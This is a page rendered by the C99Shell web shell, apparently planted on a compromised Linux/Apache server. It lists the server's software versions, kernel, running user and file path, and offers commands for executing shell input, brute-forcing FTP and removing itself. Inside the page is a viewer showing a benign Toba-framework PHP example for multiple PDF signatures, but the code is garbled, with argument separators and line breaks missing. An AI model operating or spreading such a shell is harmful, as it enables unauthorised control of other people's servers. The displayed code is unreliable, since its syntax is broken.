!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_referencia/php/firma_digital/multiple/   drwxr-xr-x
Free 14.57 GB of 61.93 GB (23.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_firma_multiple.php (1.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ci_firma_multiple extends toba_ci
{
    protected 
$s__seleccion;
    protected 
$datos_persona;
    
    
//---------------------------------------
    //----- Componente ei_firma
    //--------------------------------------
    
    
function conf__firmador(toba_ei_firma $firmador)
    {
        
$firmador->set_motivo_firma("Ejemplo de firma multiple en Toba");
        
$firmador->set_multiple(true);
    }
    
    
/**
     * Se envia el PDF sin firmar hacia el Applet
     */
    
function evt__firmador__enviar_pdf($token$numero)
    {
        
$file dirname(__FILE__).'/pdfs_sin_firmar/doc_'.$numero.'.pdf';
        
$fd fopen($file,'r');
        
$pdf stream_get_contents($fd);
        return 
$pdf;
    }
    
    
/**
     * Se recibe el PDF firmado desde el Applet
     */
    
function evt__firmador__recibir_pdf_firmado($path$token$numero)
    {
        
$destino dirname(__FILE__).'/pdfs_firmados/doc_'.$numero.'.pdf';
        if (! 
rename($path$destino)) {
            throw new 
toba_error("No fue posible mover el archivo desde $path hacia $destino");
        }
    }
    
    function 
extender_objeto_js()
    {
        echo 
"
            
{$this->objeto_js}.dep('firmador').evt__firma_ok = function() {
                document.getElementById('listado').style.display = 'none';
                this.agregar_notificacion('Documentos firmados y almacenados en la carpeta \"multiple/pdfs_firmados\"', 'info');                
            }            
            
            
{$this->objeto_js}.dep('firmador').evt__applet_cargado = function() {
                document.getElementById('listado').style.display = '';
            }            
        "
;
    }
    

    
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.054 ]--